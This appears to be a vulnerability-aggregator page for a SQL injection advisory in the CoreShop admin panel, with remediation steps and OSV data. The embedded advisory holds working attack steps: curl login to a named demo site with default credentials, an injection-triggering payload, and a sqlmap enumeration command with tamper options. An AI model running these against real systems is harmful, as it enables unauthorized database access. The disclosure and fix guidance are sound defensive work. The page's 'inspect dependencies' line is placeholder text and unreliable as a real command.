CVE-2026-23959: Coreshop/core shop SQL Injection Vulnerability

MODERATE
Advisory Identifier: GHSA-fqcv-8859-86x2
CWE-564
Published
Advisory Summary

CVE-2026-23959 is a MODERATE sql injection vulnerability (CWE-564: SQL Injection: Hibernate) affecting Coreshop/core shop libraries in the Packagist ecosystem. The issue involves coreshop vulnerable to sql injection via admin customer-company-modifier. Remediation is available by upgrading affected packages to version 4.1.9.

CVE-2026-23959 at a Glance

CVE Identifier CVE-2026-23959
GHSA Identifier GHSA-fqcv-8859-86x2
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-564: SQL Injection: Hibernate
Affected Product Coreshop/core shop
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2026-23959

To remediate this vulnerability, upgrade all affected Coreshop/core shop dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

coreshop/core-shop fixed: 4.1.9
Upgrade coreshop/core-shop to 4.1.9
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for coreshop/core-shop

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-23959, inspect your project dependencies for Coreshop/core shop:

inspect dependencies for coreshop/core-shop

Analyze the terminal output to locate any version of Coreshop/core shop in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.1.9), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-564: SQL Injection: Hibernate, where using hibernate to execute a dynamic sql statement built with user-controlled input can allow an attacker to modify the statement's meaning or to execute arbitrary sql commands. In Coreshop/core shop, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# SQL Injection in CustomerTransformerController ## Summary An **error-based SQL Injection vulnerability** was identified in the `CustomerTransformerController` within the CoreShop admin panel. The affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction. This issue is classified as **MEDIUM severity**, as it allows SQL execution in an authenticated admin context. --- ## Details The vulnerability exists in the company name duplication check endpoint: ``` /admin/coreshop/customer-company-modifier/duplication-name-check?value= ``` Source code analysis indicates that user input is directly embedded into a SQL condition without parameterization. **Vulnerable file:** ``` /app/repos/coreshop/src/CoreShop/Bundle/CustomerBundle/Controller/CustomerTransformerController.php ``` **Vulnerable code pattern:** ```php sprintf('name LIKE "%%%s%%"', (string) $value) ``` The `$value` parameter is fully user-controlled and is not escaped or bound as a prepared statement parameter. Supplying a double quote (`"`) causes a SQL syntax error, confirming that the input is executed in a SQL context. --- ## Exploitation Steps: ### Prerequisites - Admin panel access at `https://demo4.coreshop.org/admin` - Default credentials: `admin / coreshop` ### Authenticate to admin panel ```bash # Get CSRF token curl -s 'https://demo4.coreshop.org/admin/login/csrf-token' | grep csrfToken # Initialize session curl -s -c /tmp/session.txt 'https://demo4.coreshop.org/admin/login' > /dev/null # Get CSRF token with session CSRF=$(curl -s -b /tmp/session.txt 'https://demo4.coreshop.org/admin/login/csrf-token' | grep -o '"csrfToken":"[^"]*"' | cut -d'"' -f4) # Login curl -s -i -b /tmp/session.txt -c /tmp/session.txt \ -X POST 'https://demo4.coreshop.org/admin/login/login' \ -H 'Content-Type: application/x-www-form-urlencoded' \ -d "username=admin&password=coreshop&csrfToken=$CSRF" ``` ### Trigger SQL error to confirm injection ```bash curl -s -b /tmp/session.txt \ 'https://demo4.coreshop.org/admin/coreshop/customer-company-modifier/duplication-name-check?value=%22' ``` **Expected result:** HTTP 500 error page with title "500 | CORS - Pimcore Digital Agency" **Normal response (non-error):** ```json {"success":true,"message":null,"list":[]} ``` ### Proof of Impact: **Test 1 - Normal query:** ```bash GET /admin/coreshop/customer-company-modifier/duplication-name-check?value=test Response: {"success":true,"message":null,"list":[]} ``` **Test 2 - SQL injection (error-inducing):** ```bash GET /admin/coreshop/customer-company-modifier/duplication-name-check?value=" Response: HTTP 500 Internal Server Error <!DOCTYPE html> <html lang="en"> <head> <title>500 | CORS - Pimcore Digital Agency</title> ... </head> ``` The double quote character causes a SQL syntax error, confirming the injection point. The application returns a 500 error instead of the normal JSON response, proving that unescaped user input reaches the SQL query. **Sqlmap Result:** ```bash python sqlmap.py -r sql.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080/ --dbms=mysql -p value --level=5 --risk=3 --current-db ``` <img width="1921" height="747" alt="sqlmappoc" src="https://github.com/user-attachments/assets/4069bbd4-d1a1-4ad1-9983-24402a20f985" /> --- ## Impact - **Vulnerability type:** SQL Injection (Error-based) - **Affected users:** CoreShop / Pimcore admin users - **Potential impact:** - Database error disclosure - Database schema enumeration - Possible data extraction via error-based or blind SQL injection --- ## Recommended Fix ### 1. Use Parameterized Queries (Required) Avoid building SQL conditions using string concatenation or `sprintf`. Use Doctrine QueryBuilder parameters instead. **❌ Vulnerable example:** ```php $condition = sprintf('name LIKE "%%%s%%"', (string) $value); ``` **✅ Secure example (Doctrine QueryBuilder):** ```php $qb->andWhere('c.name LIKE :name') ->setParameter('name', '%' . $value . '%'); ``` This ensures proper escaping and prevents SQL injection. --- ### 2. Validate User Input (Defense-in-Depth) Apply strict input validation before processing user data: ```php if (!is_string($value) || mb_strlen($value) > 255) { throw new BadRequestHttpException('Invalid input'); } ``` Optionally, restrict allowed characters if business logic permits. --- ### 3. Handle Errors Gracefully Avoid returning raw 500 error pages to users. Catch database exceptions and return a controlled JSON error response instead: ```php return new JsonResponse([ 'success' => false, 'message' => 'Invalid request' ], 400); ``` --- ### 4. Security Best Practice - Never interpolate user input directly into SQL strings - Always use prepared statements or ORM parameter binding - Ensure consistent input validation on all admin endpoints ---

CVE-2026-23959 Affected Coreshop/core shop Versions

1 component(s)
Fixed Versions:
4.1.9
Product / Package Ecosystem Affected Versions Fixed Version
coreshop/core-shop
Packagist
< 4.1.9
4.1.9

References

Frequently Asked Questions

What is CVE-2026-23959?
CVE-2026-23959 is a security vulnerability in Coreshop/core shop involving CoreShop Vulnerable to SQL Injection via Admin customer-company-modifier under CWE-564: SQL Injection: Hibernate.
Which Coreshop/core shop versions are affected?
Affected versions include releases prior to 4.1.9 across affected packages: coreshop/core-shop.
What version fixes CVE-2026-23959?
Upgrading to 4.1.9 (or the latest patched release for your respective branch) resolves the vulnerability.
Is coreshop/core-shop affected?
Yes, coreshop/core-shop is affected in releases prior to 4.1.9. Upgrade your dependency to 4.1.9 or later.
What CWE is associated with CVE-2026-23959?
CVE-2026-23959 is classified under CWE-564: SQL Injection: Hibernate (Using Hibernate to execute a dynamic SQL statement built with user-controlled input can allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.).
How can I check Packagist dependencies for CVE-2026-23959?
Run the dependency tree command: 'inspect dependencies for coreshop/core-shop'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fqcv-8859-86x2",
  "modified" : "2026-01-22T15:43:07Z",
  "published" : "2026-01-21T16:13:12Z",
  "aliases" : [ "CVE-2026-23959" ],
  "summary" : "CoreShop Vulnerable to SQL Injection via Admin customer-company-modifier",
  "details" : "# SQL Injection in CustomerTransformerController\n\n## Summary\nAn **error-based SQL Injection vulnerability** was identified in the `CustomerTransformerController` within the CoreShop admin panel.  \nThe affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction.\n\nThis issue is classified as **MEDIUM severity**, as it allows SQL execution in an authenticated admin context.\n\n---\n\n## Details\nThe vulnerability exists in the company name duplication check endpoint:\n\n```\n/admin/coreshop/customer-company-modifier/duplication-name-check?value=\n```\n\nSource code analysis indicates that user input is directly embedded into a SQL condition without parameterization.\n\n**Vulnerable file:**\n```\n/app/repos/coreshop/src/CoreShop/Bundle/CustomerBundle/Controller/CustomerTransformerController.php\n```\n\n**Vulnerable code pattern:**\n```php\nsprintf('name LIKE \"%%%s%%\"', (string) $value)\n```\n\nThe `$value` parameter is fully user-controlled and is not escaped or bound as a prepared statement parameter.  \nSupplying a double quote (`\"`) causes a SQL syntax error, confirming that the input is executed in a SQL context.\n\n---\n\n## Exploitation Steps:\n\n### Prerequisites\n- Admin panel access at `https://demo4.coreshop.org/admin`\n- Default credentials: `admin / coreshop`\n\n### Authenticate to admin panel\n```bash\n   # Get CSRF token\n   curl -s 'https://demo4.coreshop.org/admin/login/csrf-token' | grep csrfToken\n\n   # Initialize session\n   curl -s -c /tmp/session.txt 'https://demo4.coreshop.org/admin/login' > /dev/null\n\n   # Get CSRF token with session\n   CSRF=$(curl -s -b /tmp/session.txt 'https://demo4.coreshop.org/admin/login/csrf-token' | grep -o '\"csrfToken\":\"[^\"]*\"' | cut -d'\"' -f4)\n\n   # Login\n   curl -s -i -b /tmp/session.txt -c /tmp/session.txt \\\n     -X POST 'https://demo4.coreshop.org/admin/login/login' \\\n     -H 'Content-Type: application/x-www-form-urlencoded' \\\n     -d \"username=admin&password=coreshop&csrfToken=$CSRF\"\n   ```\n\n### Trigger SQL error to confirm injection\n   ```bash\n   curl -s -b /tmp/session.txt \\\n     'https://demo4.coreshop.org/admin/coreshop/customer-company-modifier/duplication-name-check?value=%22'\n   ```\n\n   **Expected result:** HTTP 500 error page with title \"500 | CORS - Pimcore Digital Agency\"\n\n   **Normal response (non-error):**\n   ```json\n   {\"success\":true,\"message\":null,\"list\":[]}\n   ```\n\n### Proof of Impact:\n\n**Test 1 - Normal query:**\n```bash\nGET /admin/coreshop/customer-company-modifier/duplication-name-check?value=test\nResponse: {\"success\":true,\"message\":null,\"list\":[]}\n```\n\n**Test 2 - SQL injection (error-inducing):**\n```bash\nGET /admin/coreshop/customer-company-modifier/duplication-name-check?value=\"\nResponse: HTTP 500 Internal Server Error\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n  <title>500 | CORS - Pimcore Digital Agency</title>\n  ...\n</head>\n```\nThe double quote character causes a SQL syntax error, confirming the injection point. The application returns a 500 error instead of the normal JSON response, proving that unescaped user input reaches the SQL query.\n\n**Sqlmap Result:**\n```bash\npython sqlmap.py -r sql.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080/ --dbms=mysql -p value --level=5 --risk=3 --current-db\n```\n<img width=\"1921\" height=\"747\" alt=\"sqlmappoc\" src=\"https://github.com/user-attachments/assets/4069bbd4-d1a1-4ad1-9983-24402a20f985\" />\n\n---\n\n## Impact\n- **Vulnerability type:** SQL Injection (Error-based)\n- **Affected users:** CoreShop / Pimcore admin users\n- **Potential impact:**\n  - Database error disclosure\n  - Database schema enumeration\n  - Possible data extraction via error-based or blind SQL injection\n\n---\n\n## Recommended Fix\n\n### 1. Use Parameterized Queries (Required)\nAvoid building SQL conditions using string concatenation or `sprintf`.  \nUse Doctrine QueryBuilder parameters instead.\n\n**❌ Vulnerable example:**\n```php\n$condition = sprintf('name LIKE \"%%%s%%\"', (string) $value);\n```\n\n**✅ Secure example (Doctrine QueryBuilder):**\n```php\n$qb->andWhere('c.name LIKE :name')\n   ->setParameter('name', '%' . $value . '%');\n```\n\nThis ensures proper escaping and prevents SQL injection.\n\n---\n\n### 2. Validate User Input (Defense-in-Depth)\nApply strict input validation before processing user data:\n\n```php\nif (!is_string($value) || mb_strlen($value) > 255) {\n    throw new BadRequestHttpException('Invalid input');\n}\n```\n\nOptionally, restrict allowed characters if business logic permits.\n\n---\n\n### 3. Handle Errors Gracefully\nAvoid returning raw 500 error pages to users.  \nCatch database exceptions and return a controlled JSON error response instead:\n\n```php\nreturn new JsonResponse([\n    'success' => false,\n    'message' => 'Invalid request'\n], 400);\n```\n\n---\n\n### 4. Security Best Practice\n- Never interpolate user input directly into SQL strings\n- Always use prepared statements or ORM parameter binding\n- Ensure consistent input validation on all admin endpoints\n\n---",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "coreshop/core-shop"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.1.9"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/coreshop/CoreShop/security/advisories/GHSA-fqcv-8859-86x2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-23959"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/coreshop/CoreShop/commit/af80b8f5c7df5f02f44e9c5e0a4a564de274eec2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/coreshop/CoreShop"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/coreshop/CoreShop/releases/tag/4.1.9"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-564" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-21T16:13:12Z",
    "nvd_published_at" : "2026-01-22T03:15:46Z"
  }
}